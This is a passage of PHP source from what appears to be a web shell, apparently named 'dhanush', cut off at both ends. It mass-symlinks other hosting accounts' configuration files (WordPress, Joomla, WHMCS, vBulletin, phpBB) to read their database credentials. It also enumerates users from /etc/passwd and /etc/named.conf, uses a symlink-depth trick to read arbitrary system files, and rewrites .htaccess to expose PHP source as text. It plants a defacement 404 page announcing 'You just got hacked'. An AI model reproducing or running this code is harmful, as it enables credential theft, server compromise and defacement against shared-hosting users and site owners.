t\tsymlink('/home3/'.\$usern.'/public_html/includes/config.php',\$pdomain.'~~vBulletin2.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~vBulletin3.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/cc/includes/config.php',\$pdomain.'~~vBulletin4.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/inc/config.php',\$pdomain.'~~mybb.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/config.php',\$pdomain.'~~Phpbb1.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~Phpbb2.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~ipb3.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/wp-config.php',\$pdomain.'~~Wordpress1.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/blog/wp-config.php',\$pdomain.'~~Wordpress2.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/configuration.php',\$pdomain.'~~Joomla1.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/blog/configuration.php',\$pdomain.'~~Joomla2.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/joomla/configuration.php',\$pdomain.'~~Joomla3.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/whm/configuration.php',\$pdomain.'~~Whm1.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/whmc/configuration.php',\$pdomain.'~~Whm2.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/support/configuration.php',\$pdomain.'~~Whm3.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/client/configuration.php',\$pdomain.'~~Whm4.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/billings/configuration.php',\$pdomain.'~~Whm5.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/billing/configuration.php',\$pdomain.'~~Whm6.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/clients/configuration.php',\$pdomain.'~~Whm7.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/whmcs/configuration.php',\$pdomain.'~~Whm8.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/order/configuration.php',\$pdomain.'~~Whm9.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/admin/conf.php',\$pdomain.'~~5.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/admin/config.php',\$pdomain.'~~4.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~invisio.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~7.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/connect.php',\$pdomain.'~~8.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/mk_conf.php',\$pdomain.'~~mk-portale1.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/include/config.php',\$pdomain.'~~12.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/settings.php',\$pdomain.'~~Smf.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/includes/functions.php',\$pdomain.'~~phpbb3.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~infinity.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/vb/includes/config.php',\$pdomain.'~~vBulletin1.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/includes/config.php',\$pdomain.'~~vBulletin2.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~vBulletin3.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/cc/includes/config.php',\$pdomain.'~~vBulletin4.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/inc/config.php',\$pdomain.'~~mybb.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/config.php',\$pdomain.'~~Phpbb1.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~Phpbb2.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~ipb4.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/wp-config.php',\$pdomain.'~~Wordpress1.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/blog/wp-config.php',\$pdomain.'~~Wordpress2.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/configuration.php',\$pdomain.'~~Joomla1.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/blog/configuration.php',\$pdomain.'~~Joomla2.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/joomla/configuration.php',\$pdomain.'~~Joomla3.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/whm/configuration.php',\$pdomain.'~~Whm1.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/whmc/configuration.php',\$pdomain.'~~Whm2.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/support/configuration.php',\$pdomain.'~~Whm3.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/client/configuration.php',\$pdomain.'~~Whm4.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/billings/configuration.php',\$pdomain.'~~Whm5.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/billing/configuration.php',\$pdomain.'~~Whm6.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/clients/configuration.php',\$pdomain.'~~Whm7.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/whmcs/configuration.php',\$pdomain.'~~Whm8.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/order/configuration.php',\$pdomain.'~~Whm9.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/admin/conf.php',\$pdomain.'~~5.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/admin/config.php',\$pdomain.'~~4.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~invisio.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~7.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/connect.php',\$pdomain.'~~8.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/mk_conf.php',\$pdomain.'~~mk-portale1.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/include/config.php',\$pdomain.'~~12.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/settings.php',\$pdomain.'~~Smf.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/includes/functions.php',\$pdomain.'~~phpbb3.txt');\r\n\t\t\tsymlink('/home4/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~infinity.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/vb/includes/config.php',\$pdomain.'~~vBulletin1.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/includes/config.php',\$pdomain.'~~vBulletin2.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~vBulletin3.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/cc/includes/config.php',\$pdomain.'~~vBulletin4.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/config.php',\$pdomain.'~~Phpbb1.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~Phpbb2.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~ipb5.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/wp-config.php',\$pdomain.'~~Wordpress1.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/blog/wp-config.php',\$pdomain.'~~Wordpress2.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/configuration.php',\$pdomain.'~~Joomla1.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/blog/configuration.php',\$pdomain.'~~Joomla2.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/joomla/configuration.php',\$pdomain.'~~Joomla3.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/whm/configuration.php',\$pdomain.'~~Whm1.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/whmc/configuration.php',\$pdomain.'~~Whm2.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/support/configuration.php',\$pdomain.'~~Whm3.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/client/configuration.php',\$pdomain.'~~Whm4.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/billings/configuration.php',\$pdomain.'~~Whm5.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/billing/configuration.php',\$pdomain.'~~Whm6.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/clients/configuration.php',\$pdomain.'~~Whm7.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/whmcs/configuration.php',\$pdomain.'~~Whm8.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/order/configuration.php',\$pdomain.'~~Whm9.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/admin/conf.php',\$pdomain.'~~5.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/admin/config.php',\$pdomain.'~~4.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~invisio.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~7.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/connect.php',\$pdomain.'~~8.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/mk_conf.php',\$pdomain.'~~mk-portale1.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/include/config.php',\$pdomain.'~~12.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/settings.php',\$pdomain.'~~Smf.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/includes/functions.php',\$pdomain.'~~phpbb3.txt');\r\n\t\t\tsymlink('/home5/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~infinity.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/vb/includes/config.php',\$pdomain.'~~vBulletin1.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/includes/config.php',\$pdomain.'~~vBulletin2.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~vBulletin3.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/cc/includes/config.php',\$pdomain.'~~vBulletin4.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/config.php',\$pdomain.'~~Phpbb1.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~Phpbb2.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/wp-config.php',\$pdomain.'~~Wordpress1.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/blog/wp-config.php',\$pdomain.'~~Wordpress2.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/configuration.php',\$pdomain.'~~Joomla1.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/blog/configuration.php',\$pdomain.'~~Joomla2.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/joomla/configuration.php',\$pdomain.'~~Joomla3.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/whm/configuration.php',\$pdomain.'~~Whm1.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/whmc/configuration.php',\$pdomain.'~~Whm2.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/support/configuration.php',\$pdomain.'~~Whm3.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/client/configuration.php',\$pdomain.'~~Whm4.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/billings/configuration.php',\$pdomain.'~~Whm5.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/billing/configuration.php',\$pdomain.'~~Whm6.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/clients/configuration.php',\$pdomain.'~~Whm7.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/whmcs/configuration.php',\$pdomain.'~~Whm8.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/order/configuration.php',\$pdomain.'~~Whm9.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/admin/conf.php',\$pdomain.'~~5.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/admin/config.php',\$pdomain.'~~4.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~invisio.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~7.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/connect.php',\$pdomain.'~~8.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/mk_conf.php',\$pdomain.'~~mk-portale1.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/include/config.php',\$pdomain.'~~12.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/settings.php',\$pdomain.'~~Smf.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/includes/functions.php',\$pdomain.'~~phpbb3.txt');\r\n\t\t\tsymlink('/home6/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~infinity.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/vb/includes/config.php',\$pdomain.'~~vBulletin1.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/includes/config.php',\$pdomain.'~~vBulletin2.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~vBulletin3.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/cc/includes/config.php',\$pdomain.'~~vBulletin4.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/config.php',\$pdomain.'~~Phpbb1.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~Phpbb2.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~ipb7.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/wp-config.php',\$pdomain.'~~Wordpress1.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/blog/wp-config.php',\$pdomain.'~~Wordpress2.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/configuration.php',\$pdomain.'~~Joomla1.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/blog/configuration.php',\$pdomain.'~~Joomla2.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/joomla/configuration.php',\$pdomain.'~~Joomla3.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/whm/configuration.php',\$pdomain.'~~Whm1.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/whmc/configuration.php',\$pdomain.'~~Whm2.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/support/configuration.php',\$pdomain.'~~Whm3.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/client/configuration.php',\$pdomain.'~~Whm4.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/billings/configuration.php',\$pdomain.'~~Whm5.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/billing/configuration.php',\$pdomain.'~~Whm6.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/clients/configuration.php',\$pdomain.'~~Whm7.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/whmcs/configuration.php',\$pdomain.'~~Whm8.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/order/configuration.php',\$pdomain.'~~Whm9.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/admin/conf.php',\$pdomain.'~~5.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/admin/config.php',\$pdomain.'~~4.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~invisio.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~7.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/connect.php',\$pdomain.'~~8.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/mk_conf.php',\$pdomain.'~~mk-portale1.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/include/config.php',\$pdomain.'~~12.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/settings.php',\$pdomain.'~~Smf.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/includes/functions.php',\$pdomain.'~~phpbb3.txt');\r\n\t\t\tsymlink('/home7/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~infinity.txt');\r\n\t\t}\r\n\t\tif(isset(\$_REQUEST['passwd']))\r\n\t\t{\r\n\t\t\t\$getetc = trim(\$_REQUEST['passwd']);\r\n\t\t\t\r\n\t\t\tmkdir(\"dhanushSPT\");\r\n\t\t\tchdir(\"dhanushSPT\");\r\n\t\t\t\t\t\r\n\t\t\t\$myfile = fopen(\"test.txt\",\"w\");\r\n\t\t\tfputs(\$myfile,\$getetc);\r\n\t\t\tfclose(\$myfile);\r\n\t\t\t\t\t\t \r\n\t\t\t\$file = fopen(\"test.txt\", \"r\") or exit(\"Unable to open file!\");\r\n\t\t\twhile(!feof(\$file))\r\n\t\t\t{\r\n\t\t\t\t\$s = fgets(\$file);\r\n\t\t\t\t\$matches = array();\r\n\t\t\t\t\$t = preg_match('/\\/(.*?)\\:\\//s', \$s, \$matches);\r\n\t\t\t\t\$matches = str_replace(\"home/\",\"\",\$matches[1]);\r\n\t\t\t\tif(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")\r\n\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\tsyml(\$matches,\$matches);\r\n\t\t\t}\r\n\t\t\tfclose(\$file);\r\n\t\t\tunlink(\"test.txt\");\r\n\t\t\techo \"<center><font class=txt size=3>[ Done ]</font></center>\";\r\n\t\t\techo \"<br><center><a href=\".\$url.\"dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>\"; \r\n\t\t\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t\$d0mains = @file(\"/etc/named.conf\");\r\n\t\tif(\$d0mains)\r\n\t\t{\r\n\t\t\tmkdir(\"dhanushST\");\r\n\t\t\tchdir(\"dhanushST\");\r\n\t\t\t\t\t\t\t\t\r\n\t\t\tforeach(\$d0mains as \$d0main)\r\n\t\t\t{\r\n\t\t\t\tif(eregi(\"zone\",\$d0main))\r\n\t\t\t\t{\r\n\t\t\t\t\tpreg_match_all('#zone \"(.*)\"#', \$d0main, \$domains);\r\n\t\t\t\t\tflush();\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\tif(strlen(trim(\$domains[1][0])) > 2)\r\n\t\t\t\t\t{ \r\n\t\t\t\t\t\t\$user = posix_getpwuid(@fileowner(\"/etc/valiases/\".\$domains[1][0]));\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\tsyml(\$user['name'],\$domains[1][0]);\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo \"<center><font class=txt size=3>[ Done ]</font></center>\";\r\n\t\t\techo \"<br><center><a href=\".\$url.\"dhanushST target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>\"; \r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tmkdir(\"dhanushSPT\");\r\n\t\t\tchdir(\"dhanushSPT\");\r\n\t\t\t\$temp = \"\";\r\n\t\t\t\$val1 = 0;\r\n\t\t\t\$val2 = 1000;\r\n\t\t\tfor(;\$val1 <= \$val2;\$val1++) \r\n\t\t\t{\r\n\t\t\t\t\$uid = @posix_getpwuid(\$val1);\r\n\t\t\t\tif (\$uid)\r\n\t\t\t\t\t\$temp .= join(':',\$uid).\"\\n\";\r\n\t\t\t }\r\n\t\t\t echo '<br/>';\r\n\t\t\t \$temp = trim(\$temp);\r\n\t\t\t \r\n\t\t\t \$file5 = fopen(\"test.txt\",\"w\");\r\n\t\t\t fputs(\$file5,\$temp);\r\n\t\t\t fclose(\$file5);\r\n\t\t\t\t\t\t \r\n\r\n\t\t\t \$file = fopen(\"test.txt\", \"r\") or exit(\"Unable to open file!\");\r\n\t\t\t while(!feof(\$file))\r\n\t\t\t {\r\n\t\t\t\t\$s = fgets(\$file);\r\n\t\t\t\t\$matches = array();\r\n\t\t\t\t\$t = preg_match('/\\/(.*?)\\:\\//s', \$s, \$matches);\r\n\t\t\t\t\$matches = str_replace(\"home/\",\"\",\$matches[1]);\r\n\t\t\t\tif(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\tsyml(\$matches,\$matches);\r\n\t\t\t }\r\n\t\t\tfclose(\$file);\r\n\t\t\techo \"</table>\";\r\n\t\t\tunlink(\"test.txt\");\r\n\t\t\techo \"<center><font class=txt size=3>[ Done ]</font></center>\";\r\n\t\t\techo \"<br><center><a href=\".\$url.\"dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>\"; \r\n\t\t}\r\n\t}\r\n\t}\r\n\telse\r\n\t\techo \"<center>Cannot Complete the task!!!!</center>\";\r\n\t\r\n}\r\nelse if(isset(\$_GET[\"symlinkfile\"])) \r\n{\r\n\tif(!isset(\$_GET['file']))\r\n\t{\r\n\t\t?>\r\n\t\t<center>\r\n\t\t\t<form onSubmit=\"getdata('symlinkmyfile',file.value);return false;\">\r\n\t\t\t<input type=\"text\" class=\"box\" name=\"file\" size=\"50\" value=\"/etc/passwd\">\r\n\t\t\t<input type=\"button\" value=\"Create Symlink\" onClick=\"getdata('symlinkmyfile',file.value)\" class=\"but\">\r\n\t\t\t</form></center>\r\n\t\t\t<br><br>\r\n\t\t<?php\r\n\t}\r\n}\r\n \r\nelse if(isset(\$_GET['symlinkmyfile']))\r\n{\r\n\tif(stristr(php_uname(),\"Linux\"))\r\n\t{\r\n\t\t\$fakedir=\"cx\";\r\n\t\t\$fakedep=16;\r\n\t\t\t\t\r\n\t\t\$num=0; // offset of symlink.\$num\r\n\t\t\t\t\r\n\t\tif(!empty(\$_GET['myfile']))\r\n\t\t\t\$file=\$_GET['myfile'];\r\n\t\telse \$file=\"\";\r\n\t\t\t\t\t\t\t\t\t\t\t\r\n\t\tif(empty(\$file))\r\n\t\texit;\r\n\t\t\t\t\t\t\r\n\t\tif(!is_writable(\".\"))\r\n\t\t\techo \"not writable directory\";\r\n\t\t\t\t\t\r\n\t\t\$level=0;\r\n\t\t\t\t\r\n\t\tfor(\$as=0;\$as<\$fakedep;\$as++)\r\n\t\t{\r\n\t\t\tif(!file_exists(\$fakedir))\r\n\t\t\t\tmkdir(\$fakedir);\r\n\t\t\t\tchdir(\$fakedir);\r\n\t\t}\r\n\t\t\t\t\t\t\r\n\t\twhile(1<\$as--) chdir(\"..\");\r\n\t\t\t\t\r\n\t\t\$hardstyle = explode(\"/\", \$file);\r\n\t\t\t\t\r\n\t\tfor(\$a=0;\$a<count(\$hardstyle);\$a++)\r\n\t\t{\r\n\t\t\tif(!empty(\$hardstyle[\$a]))\r\n\t\t\t{\r\n\t\t\t\tif(!file_exists(\$hardstyle[\$a])) \r\n\t\t\t\t\tmkdir(\$hardstyle[\$a]);\r\n\t\t\t\t\tchdir(\$hardstyle[\$a]);\r\n\t\t\t\t\t\$as++;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\t\$as++;\r\n\t\t\twhile(\$as--)\r\n\t\t\t\t\tchdir(\"..\");\r\n\t\t\t\t\t\r\n\t\t\t@rmdir(\"fakesymlink\");\r\n\t\t\t@unlink(\"fakesymlink\");\r\n\t\t\t\t\t\r\n\t\t\t@symlink(str_repeat(\$fakedir.\"/\",\$fakedep),\"fakesymlink\");\r\n\t\t\t\t\t\r\n\t\t\twhile(1)\r\n\t\t\tif(true==(@symlink(\"fakesymlink/\".str_repeat(\"../\",\$fakedep-1).\$file, \"symlink\".\$num))) break;\r\n\t\t\telse \$num++;\r\n\t\t\t\t\t\r\n\t\t\t@unlink(\"fakesymlink\");\r\n\t\t\tmkdir(\"fakesymlink\");\r\n\t\t\t\t\t\t\r\n\t\t\techo '<CENTER>check symlink <a href=\"./symlink'.\$num.'\">symlink'.\$num.'</a> file</CENTER>';\r\n\t}\r\n\telse\r\n\t\techo '<CENTER>Cannot Create Symlink</CENTER>';\t\t\r\n}\r\nelse if(isset(\$_REQUEST['404new']))\r\n{\r\n\t?>\r\n\t<form>\r\n\t<center><textarea name=message cols=100 rows=18 class=box>lol! You just got hacked</textarea></br>\r\n\t<input type=\"button\" onClick=\"my404page(message.value)\" value=\" Save \" class=but></center>\r\n\t</br>\r\n\t</form>\r\n\t<?php\r\n}\r\nelse if(isset(\$_REQUEST['404page']))\r\n{\r\n\t\$url = \$_SERVER['REQUEST_URI'];\r\n\t\$path=explode('/',\$url);\r\n\t\$url =str_replace(\$path[count(\$path)-1],'',\$url);\r\n\tif(isset(\$_POST['message']))\r\n\t{\r\n\t\tif(\$myfile = fopen(\".htaccess\", \"a\"))\r\n\t\t{\r\n\t\t\tfwrite(\$myfile, \"ErrorDocument 404 \".\$url.\"404.html \\n\\r\"); \r\n\t\t\tif(\$myfilee = fopen(\"404.html\", \"w+\"))\r\n\t\t\t{\r\n\t\t\t\tfwrite(\$myfilee, \$_POST['message']);\r\n\t\t\t}\r\n\t\t\techo \"<center><font class=txt>Done setting 404 Page !!!!</font></center>\";\r\n\t\t}\r\n\t\t\telse\r\n\t\t\t\techo \"<center>Cannot Set 404 Page</center>\";\r\n\t}\r\n\telse if(strlen(\$ind) != 0)\r\n\t{\r\n\t\tif(\$myfile = fopen(\".htaccess\", \"a\"))\r\n\t\t{\r\n\t\t\tfwrite(\$myfile, \"ErrorDocument 404 \".\$url.\"404.html \\n\\r\"); \r\n\t\r\n\t\t\tif(\$myfilee = fopen(\"404.html\", \"w+\"))\r\n\t\t\t{\r\n\t\t\t\tfwrite(\$myfilee, base64_decode(\$ind));\r\n\t\t\t\r\n\t\t\t\tfclose(\$myfilee);\r\n\t\t\t\techo \"<center><font class=txt>Done setting 404 Page !!!!</font></center>\";\r\n\t\t\t}\r\n\t\t\tfclose(\$myfile);\t\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\techo \"<center>Cannot Set 404 Page</center>\";\r\n\t\t}\r\n\t}\r\n\telse\r\n\t\techo \"<center>Nothing Specified in the shell</center>\";\r\n}\r\nelse if(isset(\$_GET[\"domains\"])) \r\n{\r\n\t?><center><iframe src=\"<?php echo 'http://sameip.org/ip/' . getenv('SERVER_ADDR'); ?>\" width=\"80%\" height=\"1000px\"></iframe></center><?php \r\n}\r\nelse if(isset(\$_GET[\"symlink\"])) \r\n{\r\n\t\$d0mains = @file(\"/etc/named.conf\");\r\n\t\$url = 'http://'.\$_SERVER['SERVER_NAME'].\$_SERVER['REQUEST_URI'];\r\n\t\$path=explode('/',\$url);\r\n\t\$url =str_replace(\$path[count(\$path)-1],'',\$url);\r\n\tif(\$d0mains)\r\n\t{ \r\n \t\t@mkdir(\"dhanush\",0777);\r\n\t\t@chdir(\"dhanush\");\r\n\t\texecmd(\"ln -s / root\");\r\n\t\t\$file3 = 'Options all \r\n\t DirectoryIndex Sux.html \r\n\t AddType text/plain .php \r\n\t AddHandler server-parsed .php \r\n\t AddType text/plain .html \r\n\t AddHandler txt .html \r\n\t Require None \r\n\t Satisfy Any \r\n\t';\r\n\t\t\$fp3 = fopen('.htaccess','w');\r\n\t\t\$fw3 = fwrite(\$fp3,\$file3);\r\n\t\t@fclose(\$fp3);\r\n\t\techo \"<table align=center border=1 style='width:60%;border-color:#333333;'><tr align =center><td align=center><font size=3 >S. No.</font></td><td align=center><font size=3 >Domains</font></td><td align=center><font size=3 >Users</font></td><td align=center><font size=3 